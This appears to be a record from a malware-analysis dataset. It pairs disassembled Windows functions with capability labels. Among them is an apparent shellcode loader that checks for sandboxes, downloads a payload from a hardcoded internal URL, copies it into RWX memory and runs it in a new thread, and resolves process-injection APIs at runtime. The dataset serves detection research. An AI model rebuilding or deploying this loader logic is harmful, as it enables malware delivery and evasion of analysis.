joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027930
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140027930
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x530
mov rdi, rsp
mov ecx, 0x14c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x540]
mov qword [rsp + 0x510], 0xfffffffffffffffe
mov rax, qword [0x1401dc280]
xor rax, rsp
mov qword [rsp + 0x520], rax
mov dword [rsp + 0x34], 0x100
mov eax, dword [rsp + 0x34]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140001767
nop
mov eax, dword [rsp + 0x34]
shl rax, 2
mov dword [rsp + 0x464], eax
lea rcx, [rsp + 0x50]
call fcn.140001d1b
lea r8, [rsp + 0x24]
mov edx, dword [rsp + 0x464]
mov rcx, rax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x1400279d3
mov dword [rsp + 0x518], 1
jmp 0x1400279de
mov dword [rsp + 0x518], 0
mov eax, dword [rsp + 0x518]
mov dword [rsp + 0x468], eax
cmp dword [rsp + 0x468], 0
jne 0x140027a17
mov dword [rsp + 0x500], 0
lea rcx, [rsp + 0x50]
call fcn.140002397
mov eax, dword [rsp + 0x500]
jmp 0x140027bc9
xor eax, eax
test eax, eax
jne 0x1400279a4
mov eax, dword [rsp + 0x464]
cmp dword [rsp + 0x24], eax
jne 0x140027ae4
xor edx, edx
mov eax, dword [rsp + 0x34]
mov ecx, 2
div ecx
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.1400019f1
mov eax, dword [rsp + 0x34]
shl rax, 2
mov dword [rsp + 0x464], eax
lea rcx, [rsp + 0x50]
call fcn.140001d1b
lea r8, [rsp + 0x24]
mov edx, dword [rsp + 0x464]
mov rcx, rax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x140027a95
mov dword [rsp + 0x51c], 1
jmp 0x140027aa0
mov dword [rsp + 0x51c], 0
mov eax, dword [rsp + 0x51c]
mov dword [rsp + 0x46c], eax
cmp dword [rsp + 0x46c], 0
jne 0x140027ad9
mov dword [rsp + 0x504], 0
lea rcx, [rsp + 0x50]
call fcn.140002397
mov eax, dword [rsp + 0x504]
jmp 0x140027bc9
xor eax, eax
test eax, eax
jne 0x140027a66
jmp 0x140027a1d
mov eax, dword [rsp + 0x24]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x470], eax
mov dword [rsp + 0x474], 0
jmp 0x140027b16
mov eax, dword [rsp + 0x474]
inc eax
mov dword [rsp + 0x474], eax
mov eax, dword [rsp + 0x470]
cmp dword [rsp + 0x474], eax
jae 0x140027bad
lea rcx, [rsp + 0x50]
call fcn.140001d1b
mov ecx, dword [rsp + 0x474]
cmp dword [rax + rcx*4], 0
je 0x140027ba8
lea rcx, [rsp + 0x490]
call fcn.140001e0b
nop
lea rcx, [rsp + 0x50]
call fcn.140001d1b
mov ecx, dword [rsp + 0x474]
movzx r9d, byte [rsp + 0x550]
lea r8, [rsp + 0x490]
mov edx, dword [rax + rcx*4]
mov rcx, qword [rsp + 0x540]
call fcn.1400013d9
test eax, eax
je 0x140027b9b
lea rdx, [rsp + 0x490]
mov rcx, qword [rsp + 0x548]
call fcn.1400021e9
nop
lea rcx, [rsp + 0x490]
call fcn.140001c26
jmp 0x140027b06
mov dword [rsp + 0x508], 1
lea rcx, [rsp + 0x50]
call fcn.140002397
mov eax, dword [rsp + 0x508]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140177e10]
call fcn.14009d1e0
mov rax, rdi
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.1400a2180
add rsp, 0x530
pop rdi
ret
Function at 0x140032190
Capabilities:
Set registry value

Disassembly:
jmp 0x140032190
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rdi, rsp
mov ecx, 0x10
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
je 0x1400321cd
mov dword [rsp + 0x34], 1
jmp 0x1400321d5
mov dword [rsp + 0x34], 0
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400321f0
lea rax, str.m_hKey___0
test rax, rax
jne 0x14003222a
lea rax, str.__atl_condVal_m_hKey___0_
mov qword [rsp + 0x28], rax
lea rax, [0x14016bf04]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x186c
lea rdx, [0x14016c2a0]
mov ecx, 2
call fcn.14009c570
cmp eax, 1
jne 0x14003222a
int3
cmp dword [rsp + 0x30], 0
jne 0x14003223b
mov ecx, 0x80004005
call fcn.1400020ae
xor eax, eax
test eax, eax
jne 0x1400321b8
xor eax, eax
test eax, eax
jne 0x140032245
xor eax, eax
test eax, eax
jne 0x1400321b8
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x40
pop rdi
ret

Function at 0x140032c80
Capabilities:
Set registry value

Disassembly:
jmp 0x140032c80
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rdi, rsp
mov ecx, 0x10
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
je 0x140032cbd
mov dword [rsp + 0x34], 1
jmp 0x140032cc5
mov dword [rsp + 0x34], 0
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140032ce0
lea rax, str.m_hKey___0
test rax, rax
jne 0x140032d1a
lea rax, str.__atl_condVal_m_hKey___0_
mov qword [rsp + 0x28], rax
lea rax, [0x14016bf04]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x1874
lea rdx, [0x14016c2a0]
mov ecx, 2
call fcn.14009c570
cmp eax, 1
jne 0x140032d1a
int3
cmp dword [rsp + 0x30], 0
jne 0x140032d2b
mov ecx, 0x80004005
call fcn.1400020ae
xor eax, eax
test eax, eax
jne 0x140032ca8
xor eax, eax
test eax, eax
jne 0x140032d35
xor eax, eax
test eax, eax
jne 0x140032ca8
mov dword [rsp + 0x28], 8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0xb
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x40
pop rdi
ret
Function at 0x140032f70
Capabilities:
Set registry value

Disassembly:
jmp 0x140032f70
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rdi, rsp
mov ecx, 0x10
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
je 0x140032fb2
mov dword [rsp + 0x38], 1
jmp 0x140032fba
mov dword [rsp + 0x38], 0
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140032fd5
lea rax, str.m_hKey___0
test rax, rax
jne 0x14003300f
lea rax, str.__atl_condVal_m_hKey___0_
mov qword [rsp + 0x28], rax
lea rax, [0x14016bf04]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x187d
lea rdx, [0x14016c2a0]
mov ecx, 2
call fcn.14009c570
cmp eax, 1
jne 0x14003300f
int3
cmp dword [rsp + 0x30], 0
jne 0x140033020
mov ecx, 0x80004005
call fcn.1400020ae
xor eax, eax
test eax, eax
jne 0x140032f9d
xor eax, eax
test eax, eax
jne 0x14003302a
xor eax, eax
test eax, eax
jne 0x140032f9d
cmp qword [rsp + 0x60], 0
je 0x14003304c
mov dword [rsp + 0x3c], 1
jmp 0x140033054
mov dword [rsp + 0x3c], 0
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x14003306f
lea rax, str.pszValue___NULL
test rax, rax
jne 0x1400330a9
lea rax, str.__atl_condVal_pszValue___NULL_
mov qword [rsp + 0x28], rax
lea rax, [0x14016bf04]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x187e
lea rdx, [0x14016c2a0]
mov ecx, 2
call fcn.14009c570
cmp eax, 1
jne 0x1400330a9
int3
cmp dword [rsp + 0x34], 0
jne 0x1400330ba
mov eax, 0xd
jmp 0x140033146
xor eax, eax
test eax, eax
jne 0x14003303a
cmp dword [rsp + 0x68], 1
je 0x14003310c
cmp dword [rsp + 0x68], 2
je 0x14003310c
lea rax, str._dwType____1______dwType____2___
mov qword [rsp + 0x28], rax
lea rax, [0x14016bf04]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x187f
lea rdx, [0x14016c2a0]
mov ecx, 2
call fcn.14009c570
cmp eax, 1
jne 0x14003310c
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400a04a0
inc eax
mov eax, eax
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x40
pop rdi
ret
Function at 0x1400362e0
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400362e0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov rdi, rsp
mov ecx, 0x18
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
cmp qword [rax], 0
je 0x140036322
mov dword [rsp + 0x58], 1
jmp 0x14003632a
mov dword [rsp + 0x58], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140036345
lea rax, str.m_h___0
test rax, rax
jne 0x14003637f
lea rax, str.__atl_condVal_m_h___0_
mov qword [rsp + 0x28], rax
lea rax, [0x14016bf04]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x9d
lea rdx, str.C:Program_Files__x86_Microsoft_Visual_Studio_12.0VC_atlmfcinclude_atlfile.h
mov ecx, 2
call fcn.14009c570
cmp eax, 1
jne 0x14003637f
int3
cmp dword [rsp + 0x30], 0
jne 0x140036390
mov ecx, 0x80004005
call fcn.1400020ae
xor eax, eax
test eax, eax
jne 0x14003630d
xor eax, eax
test eax, eax
jne 0x14003639a
xor eax, eax
test eax, eax
jne 0x14003630d
cmp qword [rsp + 0x88], 0
jne 0x1400363c2
lea rax, [rsp + 0x44]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jne 0x140036400
call fcn.140001262
jmp 0x140036402
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401749f0]
call fcn.14009d1e0
mov rax, rdi
add rsp, 0x60
pop rdi
ret

Function at 0x14004d9f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov r9, qword [rcx + 0x1d8]
mov rax, r8
mov rbx, rdx
mov r8, rdx
mov edx, 1
mov rcx, rax
call fcn.1400aeaa0
sub rax, rbx
neg rax
sbb eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1400011b0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000122e
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000122e
nop
lea rdx, str.ProSoccerOnline_Win64_Shipping.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000122a
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001200
jmp 0x14000122e
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140001b90
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
Function at 0x140001450
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
mov eax, 0x1068
call fcn.14000cae0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1000], rcx
mov qword [rbp + 0x1008], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.A_Custom_User_Agent
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenW]
call rax
mov qword [rbp + 0xfd8], rax
cmp qword [rbp + 0xfd8], 0
jne 0x1400014bc
mov eax, 0
jmp 0x140001645
mov rdx, qword [rbp + 0x1000]
mov rax, qword [rbp + 0xfd8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2400
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlW]
call rax
mov qword [rbp + 0xfd0], rax
cmp qword [rbp + 0xfd0], 0
jne 0x14000157d
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x140001645
mov eax, dword [rbp + 0xfbc]
mov edx, eax
lea rax, [rbp - 0x50]
lea rbx, [rax + rdx]
mov rax, qword [rbp + 0x1008]
mov rcx, rax
call fcn.14009f5e0
mov qword [rbp + 0xfc8], rax
lea rdx, [rbp + 0xfc8]
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.140019200
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0xfc0]
mov rax, qword [rbp + 0x1008]
mov r9, rbx
mov r8, rcx
mov rcx, rax
call fcn.14009f670
lea rcx, [rbp + 0xfbc]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfd0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x1400015b9
mov eax, dword [rbp + 0xfbc]
test eax, eax
je 0x1400015b9
mov eax, 1
jmp 0x1400015be
mov eax, 0
test al, al
jne 0x140001521
mov eax, dword [rbp + 0xfbc]
test eax, eax
jne 0x1400015e4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
je 0x1400015e4
mov eax, 1
jmp 0x1400015e9
mov eax, 0
test al, al
je 0x14000161a
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x140001645
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
add rsp, 0x1068
pop rbx
pop rbp
ret
Function at 0x1400016e3
Capabilities:
Check for time delay via gettickcount
Clear file content
Create directory
Delete file
Print debug messages

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp - 0x18], 0
lea rax, [rbp - 0x18]
mov rcx, rax
call fcn.14000164f
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], 0
mov rax, qword [rbp - 8]
mov eax, dword [rax]
cmp eax, 0x190
jle 0x1400017b3
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov eax, eax
mov qword [rbp - 0x10], rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
lea rax, str.Unreachable_code
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp - 0x10], rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
cdqe
mov qword [rbp - 0x10], rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
cdqe
mov qword [rbp - 0x10], rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
call rax
cdqe
mov qword [rbp - 0x10], rax
mov rbx, qword [rbp - 0x18]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
nop
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x140001a70
Capabilities:
Get memory capacity

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
call fcn.1400016e3
call fcn.14009b7b0
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x14], 0x7d0
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14009b8d0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400796d0
call fcn.14009b7b0
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x28]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009ba00
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x38]
mov rcx, rax
call fcn.14009b830
lea rax, [rbp - 0x38]
mov rcx, rax
call fcn.1400246a0
movsd xmm1, qword [0x1400bd108]
comisd xmm1, xmm0
seta al
test al, al
je 0x140001b02
mov ecx, 1
call sub.msvcrt.dll_exit
call fcn.1400017dc
mov dword [rbp - 0x80], 0x40
lea rax, [rbp - 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x78]
shr rax, 0x1e
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 1
ja 0x140001b3b
mov ecx, 1
call sub.msvcrt.dll_exit
nop
add rsp, 0xa0
pop rbp
ret
Function at 0x140001b6a
Capabilities:
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov dword [rbp + 0x38], r9d
call fcn.140001a70
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009f720
lea rax, str.http:__192.168.81.112:8080_aaa.woff
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp - 8]
mov rcx, rax
call fcn.140001450
test eax, eax
sete al
test al, al
je 0x140001bd3
lea rax, str.Error:_Unable_to_retrieve_the_specified_URI._n
mov rcx, rax
call fcn.1400175f0
mov ebx, 1
jmp 0x140001d00
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140026620
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001c20
lea rax, str.VirtualAlloc_failed_n
mov rcx, rax
call fcn.1400175f0
mov ebx, 1
jmp 0x140001d00
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140026620
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009f610
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [0x140001b45]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140001cbb
lea rax, str.CreateThread_failed_n
mov rcx, rax
call fcn.1400175f0
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 1
jmp 0x140001d00
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009f740
mov eax, ebx
jmp 0x140001d2a
add rsp, 0x78
pop rbx
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14000bb10
call fcn.140016a50
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400b856b
jmp 0x1400b85e1
test cl, cl
je 0x1400b8598
and esi, 1
je 0x1400b8580
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x1400b8567
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x1400b8548
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400b8556
test cl, cl
je 0x1400b8598
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1400b8598
cmp al, 0x20
jle 0x1400b8588
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400b85c6
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400c33b0]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140001b6a
lea rbx, [0x1400c1d20]
jmp 0x1400b8598
Function at 0x140001d31
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, [0x1400bd0f2]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.WriteProcessMemory
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400ea030], rax
lea rax, [0x1400bd0f2]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.QueueUserAPC
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400ea038], rax
lea rax, [0x1400bd0f2]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CreateProcessA
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400ea040], rax
lea rax, [0x1400bd0f2]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400ea048], rax
lea rax, [0x1400bd0f2]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualProtect
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400ea050], rax
lea rax, [0x1400bd0f2]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400ea058], rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x14000bd20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140016c20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140016c20
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14000bd90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400ea0d4]
mov rbx, rcx
test esi, esi
jle 0x14000bec0
mov rax, qword [0x1400ea0d8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000bddb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000be65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000bdc0
mov rcx, rbx
call fcn.14000c800
mov rdi, rax
test rax, rax
je 0x14000bee2
mov rax, qword [0x1400ea0d8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000c940
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400ea0d8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000bec7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000be5e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000be70
add dword [0x1400ea0d4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400ea0d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000be5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000bd20
nop dword [rax]
xor esi, esi
jmp 0x14000bde8
mov rax, qword [0x1400ea0d8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000bd20
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000bd20
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c470
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400ea140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400ea120]
test rbx, rbx
je 0x14000c4cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000c4c3
test eax, eax
jne 0x14000c4c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c4a8
mov rcx, r12
add rsp, 0x20
pop rbx
